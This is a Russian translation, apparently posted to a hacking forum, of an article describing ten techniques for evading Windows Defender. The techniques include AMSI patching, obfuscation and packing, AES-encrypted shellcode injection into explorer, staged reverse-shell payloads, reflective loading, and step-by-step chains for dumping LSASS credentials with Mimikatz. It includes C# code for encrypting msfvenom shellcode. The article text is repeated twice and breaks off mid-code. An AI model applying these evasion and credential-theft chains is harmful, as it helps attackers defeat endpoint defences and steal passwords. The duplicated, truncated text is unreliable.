Обход Защитника Windows (10 способов)
ОРИГИНАЛЬНАЯ СТАТЬЯ: Bypassing Windows Defender (10 Ways)
ПЕРЕВЕДЕНО для xss.pro by Marcus Aurelius
Введение
В этой статье я расскажу о 10 способах/техниках обхода полностью обновленной системы Windows с актуальными данными Windows Defender с целью выполнения произвольного кода (кроме разрешений/ACL).
Для тестирования использовалась следующая конфигурация:
Отказ от ответственности: Информация, представленная в этой статье, предназначена исключительно для образовательных и этических целей. Описанные техники и инструменты предназначены для законного и ответственного использования с явного согласия владельца целевой системы. Любое несанкционированное или злонамеренное использование этих техник и инструментов строго запрещено и может привести к юридическим последствиям. Я не несу ответственности за любой ущерб или юридические проблемы, которые могут возникнуть в результате неправильного использования предоставленной информации.
1. In-Memory AMSI/ETW patching
Первый метод, который я хотел бы объяснить, также является тем, который я лично использую чаще всего, так как он очень удобен и быстр в исполнении.
AMSI, или AntiMalware Scan Interface, - это независимый от производителя элемент управления безопасностью Windows, который сканирует PowerShell, wscript, cscript, макросы Office и т.д. и отправляет телеметрию поставщику безопасности (в нашем случае Defender), чтобы тот решил, является ли она вредоносной или нет.
ETW, или Event Tracing for Windows, - это еще один механизм безопасности, который регистрирует события, происходящие в пользовательском режиме и драйверах ядра. Поставщики могут анализировать эту информацию, полученную от процесса, чтобы решить, имеет ли он вредоносные намерения или нет.
К сожалению, Windows Defender работает с очень малым количеством телеметрии, поступающей от сеансов PowerShell. В частности, исправление AMSI для текущего процесса позволит нам выполнять любые вредоносные программы без файлов, включая инструменты (Mimikatz, Rubeus и т.д.) и ревер-шеллы.
Для доказательства концепции я буду использовать встроенную функцию evil-winrm Bypass-4MSI, но очень легко создать собственный патчер AMSI/ETW в виде сценария PowerShell или исполняемого файла, как мы увидим позже.
Таким образом, цепочка kill для дампа In-Memory logons с Mimikatz из процесса LSASS работает следующим образом:
In-Memory AMSI Patching PoC
Для лучшего понимания набор команд может быть объяснен на более высоком уровне следующим образом:
2. Обфускация кода
Обфускация кода обычно не нужна или не стоит тратить на нее время для изначально компилируемых языков, таких как C/C++, поскольку компилятор в любом случае будет применять множество оптимизаций. Но большая часть вредоносных программ и инструментов написана на C# и, иногда, Java. Эти языки компилируются в байткод/MSIL/CIL, который легко поддается реверс-инженерии. Это означает, что вам придется применить некоторую обфускацию кода, чтобы избежать обнаружения сигнатур.
Существует множество обфускаторов с открытым исходным кодом, но я буду основывать доказательство концепции этого раздела на инструменте обфускатора InvisibilityCloak C# от h4wkst3r.
Например, используя инструмент GhostPack's Certify, который обычно используется для поиска уязвимых сертификатов в домене, мы можем использовать вышеупомянутый инструмент для обхода защитника следующим образом.
Убедитесь, что Defender запущен и блокирует сборку Certify по умолчанию
Обфускация кода Certify с помощью InvisibilityCloak
Попытайтесь запустить обфусцированный Certify
Мы видим, что теперь все работает без проблем, однако выдает ошибку, поскольку виртуальная машина не подключена к домену или не является контроллером домена.
Мы можем сделать вывод, что все получилось, однако, обратите внимание, что некоторые инструменты могут нуждаться в более глубокой обфускации, чем другие. Например, в данном случае я выбрал Certify вместо Rubeus, поскольку это было проще для простых демонстрационных целей.
3. Обфускация во время компиляции
Для изначально компилируемых языков, таких как C, C++, Rust и т.д., вы можете использовать обфускацию во время компиляции, чтобы скрыть реальное поведение подпрограмм и общий поток инструкций.
В зависимости от языка, могут существовать различные методы. Поскольку для разработки вредоносных программ я использую C++, я расскажу о двух из них, которые я пробовал: обфускация LLVM и метапрограммирование шаблонов.
Для обфускации LLVM самым большим публичным инструментом в настоящее время является Obfuscator-LLVM. Этот проект представляет собой форк LLVM, который добавляет уровень безопасности через обфускацию к создаваемым двоичным файлам. В настоящее время реализованы следующие дополнительные возможности:
С другой стороны, метапрограммирование шаблонов - это техника C++, которая позволяет разработчикам создавать шаблоны, генерирующие исходный код во время компиляции. Это дает возможность генерировать различные двоичные файлы при каждой компиляции, создавать бесконечное количество ветвей и блоков кода и т.д.
Два общедоступных фреймворка, которые я знаю и использовал для этой цели, следующие:
Для данного PoC я буду использовать второй, так как считаю его более простым в использовании.
Более того, для PoC я буду использовать AMSI_patch от TheD1rkMtr в качестве двоичного файла по умолчанию для обфускации, так как это довольно простой проект на C++. Код обфусцированного двоичного файла можно найти здесь.
Сначала давайте посмотрим на базовое дерево бинарных функций под Ghidra.
Дерево двоичных функций по умолчанию
Как мы видим, его не так уж сложно проанализировать. И вы можете найти главную функцию под 3-й рутиной FUN_.
Главная функция бинарной функции по умолчанию
Которая выглядит довольно простой для анализа и понимания ее поведения (патч AMSI через AMSIOpenSession в данном случае).
Теперь давайте посмотрим на обфусцированное дерево бинарных функций.
Обфусцированное дерево бинарных функций
Это дерево выглядит безумно сложным для статического анализа, поскольку в нем много вложенных функций. И, как мы видим, это представленные функции, основанные на шаблонах.
Обфусцированная бинарная функция мусора
Это простые junk-функции, но очень полезные для сокрытия реального поведения.
Теперь для финального теста давайте попробуем это на реальной системе Windows для PoC. Обратите внимание, поскольку двоичный файл исправляет AMSI для данного процесса через PID в качестве параметра, PoC будет очень похож на первый метод; исправление AMSI для текущего сеанса PowerShell, чтобы обойти сканирование Defender в памяти.
Обфускация во время компиляции PoC
И, как мы видим, это сработало, Defender не остановил бинарник ни статически, ни во время выполнения, что позволяет нам удаленно исправлять AMSI для процесса.
4. Обфускация/упаковка бинарных файлов
Когда вы уже сгенерировали двоичный файл, ваши опции, в основном, сводятся к следующему:
На высоком уровне, Alcatraz работает путем изменения сборки двоичного файла несколькими способами, такими как обфускация потока управления, добавление нежелательных инструкций, неоптимизация инструкций и скрытие реальной точки входа до выполнения.
С другой стороны, Metame работает, используя случайность для генерации различных сборок (хотя всегда с эквивалентным поведением) при каждом запуске. Это более известно как метаморфический код и часто используется в настоящих вредоносных программах.
Наконец, ROPfuscator работает, как видно из названия, используя программирование, ориентированное на возврат, для создания ROP-гаджетов и цепочек из исходного кода, таким образом скрывая исходный поток кода от статического анализа и, возможно, даже динамического, поскольку эвристикам будет сложнее анализировать последовательные вредоносные вызовы. Следующее изображение лучше описывает весь процесс.
Архитектура ROPfuscator
Источник: https://github.com/ropfuscator/ropfuscator/blob/master/docs/architecture.svg
Продолжая тему бинарной упаковки, базовая архитектура упаковщика может быть описана следующим изображением.
Архитектура упаковщика PE
Источник: https://www.researchgate.net/public...ked_executables_using_support_vector_machines
В этом процессе данный инструмент упаковщика встраивает скомпилированный PE в другой исполняемый файл, который содержит информацию, необходимую для распаковки исходного содержимого и его выполнения. Пожалуй, самым известным упаковщиком, который даже не предназначен для вредоносных целей, является пакет UPX от Golang.
Более того, PE Crypter работает путем шифрования содержимого исполняемого файла и создания исполняемого файла, который расшифровывает оригинальный PE во время выполнения. Это очень полезно против антивирусных программ, поскольку большинство из них полагаются на статический анализ, а не на поведение во время выполнения (как EDR). Таким образом, полное сокрытие содержимого исполняемого файла до времени выполнения может быть очень эффективным, если только AV не сгенерировал сигнатуры против методов шифрования/дешифрования, что и произошло в случае, когда я пробовал использовать nimpcrypt.
Наконец, у нас также есть возможность преобразовать нативный PE обратно в шеллкод. Это можно сделать, например, с помощью инструмента hasherezade's pe_to_shellcode.
Объяснив теперь все возможные способы обхода антивирусных программ, начиная с исполняемого файла, я хотел бы упомянуть фреймворк, объединяющий все шаги в одном инструменте: inceptor от KlezVirus. Инструмент может оказаться очень сложным, и большинство шагов не нужны для простого обхода Defender, но его можно лучше объяснить с помощью следующего рисунка:
Архитектура Inceptor
Источник: https://github.com/klezVirus/inceptor
В отличие от предыдущих инструментов, Inceptor позволяет разработчику создавать собственные шаблоны, которые будут модифицировать двоичный файл на каждом этапе рабочего процесса, так что, даже если подпись генерируется для публичного шаблона, вы можете иметь свои собственные частные шаблоны для обхода хуков EDR, исправления AMSI/ETW, использования аппаратных точек останова, использования прямых системных вызовов вместо DLL в памяти и т.д.
5. Зашифрованная инъекция шеллкода
Инъекция шеллкода - это очень известная техника, которая заключается во вставке/инъекции позиционно-независимого шеллкода в данный жертвенный процесс, чтобы в итоге выполнить его в памяти. Это может быть выполнено различными способами. Смотрите следующее изображение для хорошего обзора общеизвестных способов.
Методы инъекции в процесс
Источник: https://struppigel.blogspot.com/2017/07/process-injection-info-graphic.html
Однако в этой статье я буду обсуждать и демонстрировать следующий метод:
Конечно, иметь исполняемый файл, содержащий вредоносный шеллкод, было бы очень плохой идеей, так как он будет немедленно отмечен Defender. Для борьбы с этим мы сначала зашифруем шеллкод с помощью AES-128 CBC и PKCS7 padding, чтобы скрыть его реальное поведение и структуру до момента выполнения (где Defender действительно слаб).
Сначала нам нужно будет сгенерировать начальный шеллкод. Для доказательства концепции я буду использовать простую обратную оболочку TCP от msfvenom.
Генерация начального шеллкода PI
Как только мы его получили, нам понадобится способ его зашифровать. Для этого я буду использовать следующий код на C#, но не стесняйтесь шифровать его другим способом (например, cyberchef).
Encrypter.cs
Компиляция и запуск приведенного выше кода с исходным шеллкодом в переменной "buf" выплюнет зашифрованные байты, которые мы будем использовать в нашей программе-инжекторе.
Для этого PoC я также выбрал C# в качестве языка для инжектора, но вы можете использовать любой другой язык, поддерживающий Win32 API (C/C++, Rust и т.д.).
Наконец, код, который будет использоваться для инжектора, выглядит следующим образом:
Injector.cs
Для этой статьи я скомпилировал программу с зависимостями для удобства переноса на EC2, но не стесняйтесь скомпилировать ее в автономный двоичный файл, который будет занимать около 50-60 МБ.
Наконец, мы можем настроить слушателя с помощью netcat на машине атакующего/C2 и выполнить инжектор на машине жертвы:
Выполнение инжектора
Получение реверс-шелла
6. Загрузка шеллкода Donut
Проект Donut от TheWover - это очень эффективный генератор позиционно-независимого шеллкода из PEs/DLL. В зависимости от заданного входного файла, он работает по-разному. Для этого PoC я буду использовать Mimikatz, поэтому давайте посмотрим, как он работает на высоком уровне. Из беглого взгляда на код, это будет основная процедура исполняемого инструмента Donut.exe:
Возможная основная рутина/функция Donut из файла donut.c
Из всех этих функций, пожалуй, наиболее интересной является build_loader, которая содержит следующий код:
build_loader function
Опять же, судя по краткому анализу, эта подпрограмма создает/подготавливает позиционно-независимый шеллкод на основе оригинального исполняемого файла для последующей инъекции, вставляя ассемблерные инструкции для выравнивания стека на основе каждой архитектуры и заставляя поток кода переходить к оригинальному шеллкоду исполняемого файла. Обратите внимание, что это может быть не самый обновленный код, так как последний коммит этого файла был в декабре 2022 года, а последний релиз - в марте 2023 года. Но это дает хорошее представление о том, как это работает.
Наконец, переходя к доказательству концепции этого раздела, я буду выполнять стандартный Mimikatz, полученный непосредственно из репозитория gentilkiwi, внедряя шеллкод в локальный процесс powershell. Для этого нам нужно сначала сгенерировать PI-код.
Выполнение инжектора
После того как шеллкод сгенерирован, мы можем использовать для этой цели любой инжектор. К счастью, последняя версия уже поставляется с локальным (для процесса, который его выполняет) и удаленным (для другого процесса) инжектором, для которого Microsoft еще не создала сигнатуры, поэтому я буду использовать именно его.
Выполнение инжектора
7. Пользовательские инструменты
Такие инструменты, как Mimikatz, Rubeus, Certify, PowerView, BloodHound и т.д., популярны не просто так: они реализуют множество функциональных возможностей в одном пакете. Это очень полезно для злоумышленников, поскольку они могут автоматизировать распространение вредоносного ПО с помощью всего нескольких инструментов. Однако это также означает, что производителям очень легко отключить весь инструмент, зарегистрировав его сигнатурные байты (например, строки меню, имена классов/пространств имен в C# и т.д.).
Чтобы противостоять этому, возможно, нам не нужен целый инструмент размером 2-5 МБ, полный зарегистрированных сигнатур для выполнения одной или двух нужных нам функций. Например, для дампа паролей/хэшей входа в систему мы можем использовать весь проект Mimikatz с функцией sekurlsa::logonpasswords, но мы также можем запрограммировать свой собственный дампер и парсер LSASS совершенно другим способом, но с похожим поведением и вызовами API.
Для первого примера я буду использовать LsaParser от Cracked5pider.
Выполнение LsaParser
К сожалению, он не разработан для Windows Server, поэтому мне пришлось использовать его на моей локальной Windows 10, но вы поняли идею.
Для второго примера предположим, что нашей целью является перечисление общих ресурсов во всем домене Active Directory. Для этого мы могли бы использовать Find-DomainShare от PowerView, однако это один из самых известных инструментов с открытым исходным кодом, поэтому, чтобы быть более скрытными, мы можем разработать собственный инструмент поиска ресурсов на основе встроенного API Windows, как показано ниже.
RemoteShareEnum.cpp
Этот инструмент на высоком уровне использует функцию NetShareEnum из Win32 API для удаленного получения общих ресурсов, обслуживаемых с любых конечных точек входа. По умолчанию он пытается использовать привилегированный уровень доступа SHARE_INFO_502, который показывает некоторую дополнительную информацию, такую как путь к диску, количество соединений и т.д. В случае неудачи он возвращается к уровню доступа SHARE_INFO_1, который показывает только имя ресурса, но может быть перечислен любым непривилегированным пользователем (если только специфический ACL не блокирует его).
Не стесняйтесь использовать этот инструмент, доступный здесь.
Теперь мы можем использовать его следующим образом:
Выполнение RemoteShareEnum
Конечно, создание собственных инструментов может быть очень затратной по времени задачей, а также требует очень глубоких знаний внутреннего устройства Windows, но это потенциально может победить все остальные методы, представленные в этой статье. Поэтому его следует принимать во внимание, если все остальное не работает. Тем не менее, я считаю, что это чрезмерно для Defender/AVs, и лучше подходит для уклонения от EDR, поскольку вы можете контролировать и включать свой собственный выбор вызовов API, точек останова, порядка, нежелательных данных/инструкций, обфускации и т.д.
8. Инсценировка полезной нагрузки
Разбиение полезной нагрузки на последовательные этапы - отнюдь не новая техника, и она часто используется субъектами угроз для распространения вредоносного ПО, которое обходит первоначальный статический анализ. Это происходит потому, что настоящая вредоносная полезная нагрузка будет извлечена и выполнена на более поздней стадии, где статический анализ может не успеть сработать.
В данном PoC я продемонстрирую очень простой, но эффективный способ создания реверс-шелла, который может быть использован, например, для создания вредоносного файла Office с помощью следующего макроса:
Макрос для выполнения первого этапа
Это, конечно же, не будет обнаружено антивирусом статически, поскольку он просто выполняет внешне безопасную команду.
Поскольку у меня не установлен Office, я буду эмулировать процесс фишинга, вручную выполняя указанную команду в сценарии PowerShell.
Наконец, доказательством концепции этого раздела является следующее:
stage0.txt (это будет команда, выполняемая в фишинговом макросе)
stage1.txt
stage2.txt
Здесь следует отметить несколько моментов. Во-первых, ref.txt - это простой обход AMSI в PowerShell, который позволит нам исправить сканирование In-Memory AMSI для текущего процесса PowerShell. Более того, в данном случае не имеет значения расширение сценариев PowerShell, поскольку их содержимое будет просто загружено как текст и вызвано с помощью Invoke-Expression (псевдоним для IEX).
Затем мы можем выполнить полный PoC следующим образом:
Выполнение этапа 0 в нашей жертве
Жертва загружает этапы с нашего C2
Получение реверс-шелла на нашем сервере атакующего
9. Отражающая (рефлексивная) загрузка
Возможно, вы помните из первого раздела, что мы выполнили Mimikatz после исправления AMSI в памяти в качестве демонстрации того, что Defender перестал сканировать память нашего процесса. Это произошло потому, что .NET предоставляет API System.Reflection.Assembly, который мы можем использовать для рефлексивной загрузки и выполнения сборки .NET (определяется как "Представляет собой сборку, которая является многократно используемым, версионируемым и самоописывающимся строительным блоком приложения для выполнения на общем языке.") в памяти.
Это, конечно, очень полезно для наступательных целей, поскольку PowerShell использует .NET, и мы можем использовать его в сценарии для загрузки всего двоичного файла в память, чтобы обойти статический анализ, в котором Windows Defender блистает.
Общая структура сценария выглядит следующим образом:
Шаблон рефлексивной загрузки
Где Gzip просто используется для попытки скрыть реальный двоичный файл, поэтому иногда он может работать без дополнительных методов обхода, но самой важной строкой является вызов функции Load из System.Reflection.Assembly .NET Class для загрузки двоичного файла в память. После этого мы можем просто вызвать его главную функцию с помощью "[ClassName.Program]::main([string[]]$args)".
Таким образом, мы можем выполнить следующую kill-цепочку для выполнения любого двоичного файла:
К счастью, этот репозиторий содержит не только множество готовых скриптов для каждого известного инструмента, но и инструкции по созданию собственных скриптов из ваших двоичных файлов.
Для этого PoC я буду выполнять Mimikatz, но не стесняйтесь использовать любой другой.
Рефлексивная загрузка Mimikatz
Обратите внимание, что, как было указано ранее, обход AMSI может не потребоваться для некоторых двоичных файлов в зависимости от строкового представления двоичных файлов, которое вы применяете в скрипте. Но поскольку Invoke-Mimikatz широко известен, в данном примере мне пришлось это сделать.
10. Сборки P/Invoke C#
P/Invoke, или Platform Invoke, позволяет нам получать доступ к структурам, обратным вызовам и функциям из неуправляемых нативных DLL Windows, чтобы получить доступ к API более низкого уровня в нативных компонентах, которые могут быть недоступны непосредственно из .NET.
Теперь, поскольку мы знаем, что он делает, и знаем, что можем использовать .NET в PowerShell, это означает, что мы можем получить доступ к низкоуровневым API из сценария PowerShell, который мы можем запустить без того, чтобы Defender следил за нами, если мы установили патч AMSI раньше.
В качестве примера, допустим, мы хотим сделать дамп процесса LSASS в файл через MiniDumpWriteDump, доступный в "Dbghelp.dll". Для этого мы могли бы использовать инструмент nanodump от fortra. Однако он полон сигнатур, которые Microsoft сгенерировала для этого инструмента. Вместо этого мы можем использовать P/Invoke для программирования сценария PowerShell, который будет делать то же самое, но при этом мы можем внести изменения в AMSI, чтобы сделать его необнаруживаемым.
Поэтому я буду использовать следующий код PS для PoC.
MiniDumpWriteDump.ps
В этом примере мы сначала импортируем функцию MiniDumpWriteDump из Dbghelp.dll через Add-Type, затем импортируем OpenProcess и CloseHandle из kernel32.dll. Затем, наконец, получаем хэндл процесса LSASS и используем MiniDumpWriteDump для выполнения полного дампа памяти процесса и записи его в файл.
Таким образом, полный PoC будет выглядеть следующим образом:
Выполнение дампа LSASS
Загрузка дампа с помощью impacket-smbclient
Парсинг файла MiniDump локально с помощью pypykatz
Обратите внимание, что в итоге я использовал немного измененный сценарий, который шифрует дамп в base64 перед записью в файл, поскольку Defender определял файл как LSASS дамп и удалял его.
Выводы
Всем этим я не пытаюсь разоблачить Defender или сказать, что это плохое антивирусное решение. На самом деле, он, вероятно, один из лучших на рынке, и большинство методов, описанных здесь, можно использовать с большинством производителей. Но поскольку именно его я использовал для этой статьи, я не могу говорить о других.
В конечном итоге, вы никогда не должны полагаться на AV или EDR в качестве первой линии защиты от угроз, а должны укреплять инфраструктуру, чтобы даже если решения для конечных точек будут обойдены, вы могли минимизировать потенциальный ущерб. Например, система строгих разрешений, GPO, правила ASR, контролируемый доступ, упрочнение процессов, CLM, AppLocker и т.д.
ОРИГИНАЛЬНАЯ СТАТЬЯ: Bypassing Windows Defender (10 Ways)
ПЕРЕВЕДЕНО для xss.pro by Marcus Aurelius
Введение
В этой статье я расскажу о 10 способах/техниках обхода полностью обновленной системы Windows с актуальными данными Windows Defender с целью выполнения произвольного кода (кроме разрешений/ACL).
Для тестирования использовалась следующая конфигурация:
- AWS EC2 с Ubuntu Linux AMI в качестве атакующего C2-сервера.
- AWS EC2 с Windows Server 2019 AMI в качестве машины жертвы.
- Локальная машина Windows 10 с Visual Studio 2022 Community для разработки/компиляции вредоносного ПО.
- Локальная машина Kali Linux для атаки.
Отказ от ответственности: Информация, представленная в этой статье, предназначена исключительно для образовательных и этических целей. Описанные техники и инструменты предназначены для законного и ответственного использования с явного согласия владельца целевой системы. Любое несанкционированное или злонамеренное использование этих техник и инструментов строго запрещено и может привести к юридическим последствиям. Я не несу ответственности за любой ущерб или юридические проблемы, которые могут возникнуть в результате неправильного использования предоставленной информации.
1. In-Memory AMSI/ETW patching
Первый метод, который я хотел бы объяснить, также является тем, который я лично использую чаще всего, так как он очень удобен и быстр в исполнении.
AMSI, или AntiMalware Scan Interface, - это независимый от производителя элемент управления безопасностью Windows, который сканирует PowerShell, wscript, cscript, макросы Office и т.д. и отправляет телеметрию поставщику безопасности (в нашем случае Defender), чтобы тот решил, является ли она вредоносной или нет.
ETW, или Event Tracing for Windows, - это еще один механизм безопасности, который регистрирует события, происходящие в пользовательском режиме и драйверах ядра. Поставщики могут анализировать эту информацию, полученную от процесса, чтобы решить, имеет ли он вредоносные намерения или нет.
К сожалению, Windows Defender работает с очень малым количеством телеметрии, поступающей от сеансов PowerShell. В частности, исправление AMSI для текущего процесса позволит нам выполнять любые вредоносные программы без файлов, включая инструменты (Mimikatz, Rubeus и т.д.) и ревер-шеллы.
Для доказательства концепции я буду использовать встроенную функцию evil-winrm Bypass-4MSI, но очень легко создать собственный патчер AMSI/ETW в виде сценария PowerShell или исполняемого файла, как мы увидим позже.
Таким образом, цепочка kill для дампа In-Memory logons с Mimikatz из процесса LSASS работает следующим образом:
In-Memory AMSI Patching PoC
Для лучшего понимания набор команд может быть объяснен на более высоком уровне следующим образом:
- Попробуйте написать известный триггер "Invoke-Mimikatz" как способ проверить, активен ли Defender.
- Выполните функцию evil-winrm Bypass-4MSI для исправления AMSI в текущем сеансе PowerShell.
- Снова вызовите триггер AV, чтобы проверить, работает ли телеметрия AMSI (как мы видим, уже нет).
- Загрузите реальный модуль Invoke-Mimikatz PowerShell в память с помощью Invoke-Expression.
- Выполните Mimikatz для дампа паролей входа в систему из LSASS.
2. Обфускация кода
Обфускация кода обычно не нужна или не стоит тратить на нее время для изначально компилируемых языков, таких как C/C++, поскольку компилятор в любом случае будет применять множество оптимизаций. Но большая часть вредоносных программ и инструментов написана на C# и, иногда, Java. Эти языки компилируются в байткод/MSIL/CIL, который легко поддается реверс-инженерии. Это означает, что вам придется применить некоторую обфускацию кода, чтобы избежать обнаружения сигнатур.
Существует множество обфускаторов с открытым исходным кодом, но я буду основывать доказательство концепции этого раздела на инструменте обфускатора InvisibilityCloak C# от h4wkst3r.
Например, используя инструмент GhostPack's Certify, который обычно используется для поиска уязвимых сертификатов в домене, мы можем использовать вышеупомянутый инструмент для обхода защитника следующим образом.
Убедитесь, что Defender запущен и блокирует сборку Certify по умолчанию
Обфускация кода Certify с помощью InvisibilityCloak
Попытайтесь запустить обфусцированный Certify
Мы видим, что теперь все работает без проблем, однако выдает ошибку, поскольку виртуальная машина не подключена к домену или не является контроллером домена.
Мы можем сделать вывод, что все получилось, однако, обратите внимание, что некоторые инструменты могут нуждаться в более глубокой обфускации, чем другие. Например, в данном случае я выбрал Certify вместо Rubeus, поскольку это было проще для простых демонстрационных целей.
3. Обфускация во время компиляции
Для изначально компилируемых языков, таких как C, C++, Rust и т.д., вы можете использовать обфускацию во время компиляции, чтобы скрыть реальное поведение подпрограмм и общий поток инструкций.
В зависимости от языка, могут существовать различные методы. Поскольку для разработки вредоносных программ я использую C++, я расскажу о двух из них, которые я пробовал: обфускация LLVM и метапрограммирование шаблонов.
Для обфускации LLVM самым большим публичным инструментом в настоящее время является Obfuscator-LLVM. Этот проект представляет собой форк LLVM, который добавляет уровень безопасности через обфускацию к создаваемым двоичным файлам. В настоящее время реализованы следующие дополнительные возможности:
- Подмена инструкций. Обфускация инструкций ассемблера для получения эквивалентного поведения при большей вычислительной сложности.
- Поддельный поток управления. Добавление нежелательных блоков инструкций для скрытия оригинального потока кода инструкций.
- Сглаживание потока управления. Делает ветвления и переходы более трудно предсказуемыми для того, чтобы скрыть намеренный поток инструкций.
С другой стороны, метапрограммирование шаблонов - это техника C++, которая позволяет разработчикам создавать шаблоны, генерирующие исходный код во время компиляции. Это дает возможность генерировать различные двоичные файлы при каждой компиляции, создавать бесконечное количество ветвей и блоков кода и т.д.
Два общедоступных фреймворка, которые я знаю и использовал для этой цели, следующие:
Для данного PoC я буду использовать второй, так как считаю его более простым в использовании.
Более того, для PoC я буду использовать AMSI_patch от TheD1rkMtr в качестве двоичного файла по умолчанию для обфускации, так как это довольно простой проект на C++. Код обфусцированного двоичного файла можно найти здесь.
Сначала давайте посмотрим на базовое дерево бинарных функций под Ghidra.
Дерево двоичных функций по умолчанию
Как мы видим, его не так уж сложно проанализировать. И вы можете найти главную функцию под 3-й рутиной FUN_.
Главная функция бинарной функции по умолчанию
Которая выглядит довольно простой для анализа и понимания ее поведения (патч AMSI через AMSIOpenSession в данном случае).
Теперь давайте посмотрим на обфусцированное дерево бинарных функций.
Обфусцированное дерево бинарных функций
Это дерево выглядит безумно сложным для статического анализа, поскольку в нем много вложенных функций. И, как мы видим, это представленные функции, основанные на шаблонах.
Обфусцированная бинарная функция мусора
Это простые junk-функции, но очень полезные для сокрытия реального поведения.
Теперь для финального теста давайте попробуем это на реальной системе Windows для PoC. Обратите внимание, поскольку двоичный файл исправляет AMSI для данного процесса через PID в качестве параметра, PoC будет очень похож на первый метод; исправление AMSI для текущего сеанса PowerShell, чтобы обойти сканирование Defender в памяти.
Обфускация во время компиляции PoC
И, как мы видим, это сработало, Defender не остановил бинарник ни статически, ни во время выполнения, что позволяет нам удаленно исправлять AMSI для процесса.
4. Обфускация/упаковка бинарных файлов
Когда вы уже сгенерировали двоичный файл, ваши опции, в основном, сводятся к следующему:
- Обфускация ассемблерных инструкций двоичного файла.
- Упаковка двоичного файла(-ов).
- Шифрование содержимого двоичного файла для его расшифровки во время выполнения.
- Как вариант, преобразование в шеллкод для последующей манипуляции и инъекции.
- Alcatraz
- Metame
- ropfuscator (к сожалению, пока только для Linux).
На высоком уровне, Alcatraz работает путем изменения сборки двоичного файла несколькими способами, такими как обфускация потока управления, добавление нежелательных инструкций, неоптимизация инструкций и скрытие реальной точки входа до выполнения.
С другой стороны, Metame работает, используя случайность для генерации различных сборок (хотя всегда с эквивалентным поведением) при каждом запуске. Это более известно как метаморфический код и часто используется в настоящих вредоносных программах.
Наконец, ROPfuscator работает, как видно из названия, используя программирование, ориентированное на возврат, для создания ROP-гаджетов и цепочек из исходного кода, таким образом скрывая исходный поток кода от статического анализа и, возможно, даже динамического, поскольку эвристикам будет сложнее анализировать последовательные вредоносные вызовы. Следующее изображение лучше описывает весь процесс.
Архитектура ROPfuscator
Источник: https://github.com/ropfuscator/ropfuscator/blob/master/docs/architecture.svg
Продолжая тему бинарной упаковки, базовая архитектура упаковщика может быть описана следующим изображением.
Архитектура упаковщика PE
Источник: https://www.researchgate.net/public...ked_executables_using_support_vector_machines
В этом процессе данный инструмент упаковщика встраивает скомпилированный PE в другой исполняемый файл, который содержит информацию, необходимую для распаковки исходного содержимого и его выполнения. Пожалуй, самым известным упаковщиком, который даже не предназначен для вредоносных целей, является пакет UPX от Golang.
Более того, PE Crypter работает путем шифрования содержимого исполняемого файла и создания исполняемого файла, который расшифровывает оригинальный PE во время выполнения. Это очень полезно против антивирусных программ, поскольку большинство из них полагаются на статический анализ, а не на поведение во время выполнения (как EDR). Таким образом, полное сокрытие содержимого исполняемого файла до времени выполнения может быть очень эффективным, если только AV не сгенерировал сигнатуры против методов шифрования/дешифрования, что и произошло в случае, когда я пробовал использовать nimpcrypt.
Наконец, у нас также есть возможность преобразовать нативный PE обратно в шеллкод. Это можно сделать, например, с помощью инструмента hasherezade's pe_to_shellcode.
Объяснив теперь все возможные способы обхода антивирусных программ, начиная с исполняемого файла, я хотел бы упомянуть фреймворк, объединяющий все шаги в одном инструменте: inceptor от KlezVirus. Инструмент может оказаться очень сложным, и большинство шагов не нужны для простого обхода Defender, но его можно лучше объяснить с помощью следующего рисунка:
Архитектура Inceptor
Источник: https://github.com/klezVirus/inceptor
В отличие от предыдущих инструментов, Inceptor позволяет разработчику создавать собственные шаблоны, которые будут модифицировать двоичный файл на каждом этапе рабочего процесса, так что, даже если подпись генерируется для публичного шаблона, вы можете иметь свои собственные частные шаблоны для обхода хуков EDR, исправления AMSI/ETW, использования аппаратных точек останова, использования прямых системных вызовов вместо DLL в памяти и т.д.
5. Зашифрованная инъекция шеллкода
Инъекция шеллкода - это очень известная техника, которая заключается во вставке/инъекции позиционно-независимого шеллкода в данный жертвенный процесс, чтобы в итоге выполнить его в памяти. Это может быть выполнено различными способами. Смотрите следующее изображение для хорошего обзора общеизвестных способов.
Методы инъекции в процесс
Источник: https://struppigel.blogspot.com/2017/07/process-injection-info-graphic.html
Однако в этой статье я буду обсуждать и демонстрировать следующий метод:
- Использование Process.GetProcessByName, чтобы найти процесс explorer и получить его PID.
- Открытие процесса через OpenProcess с правом доступа 0x001F0FFF.
- Выделение памяти в процессе explorer для нашего шеллкода с помощью VirtualAllocEx.
- Запись шеллкода в процесс через WriteProcessMemory.
- Наконец, создание потока, который будет выполнять наш позиционно-независимый шеллкод с помощью CreateRemoteThread.
Конечно, иметь исполняемый файл, содержащий вредоносный шеллкод, было бы очень плохой идеей, так как он будет немедленно отмечен Defender. Для борьбы с этим мы сначала зашифруем шеллкод с помощью AES-128 CBC и PKCS7 padding, чтобы скрыть его реальное поведение и структуру до момента выполнения (где Defender действительно слаб).
Сначала нам нужно будет сгенерировать начальный шеллкод. Для доказательства концепции я буду использовать простую обратную оболочку TCP от msfvenom.
Генерация начального шеллкода PI
Как только мы его получили, нам понадобится способ его зашифровать. Для этого я буду использовать следующий код на C#, но не стесняйтесь шифровать его другим способом (например, cyberchef).
Encrypter.cs
C#:
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace AesEnc
{
class Program
{
static void Main(string[] args)
{
byte[] buf = new byte[] { 0xfc,0x48,0x83, etc. };
byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");
byte[] aesshell = EncryptShell(buf, Key, IV);
StringBuilder hex = new StringBuilder(aesshell.Length * 2);
int totalCount = aesshell.Length;
foreach (byte b in aesshell)
{
if ((b + 1) == totalCount)
{
hex.AppendFormat("0x{0:x2}", b);
}
else
{
hex.AppendFormat("0x{0:x2}, ", b);
}
}
Console.WriteLine(hex);
}
private static byte[] GetIV(int num)
{
var randomBytes = new byte[num];
using (var rngCsp = new RNGCryptoServiceProvider())
{
rngCsp.GetBytes(randomBytes);
}
return randomBytes;
}
private static byte[] GetKey(int size)
{
char[] caRandomChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()".ToCharArray();
byte[] CKey = new byte[size];
using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider())
{
crypto.GetBytes(CKey);
}
return CKey;
}
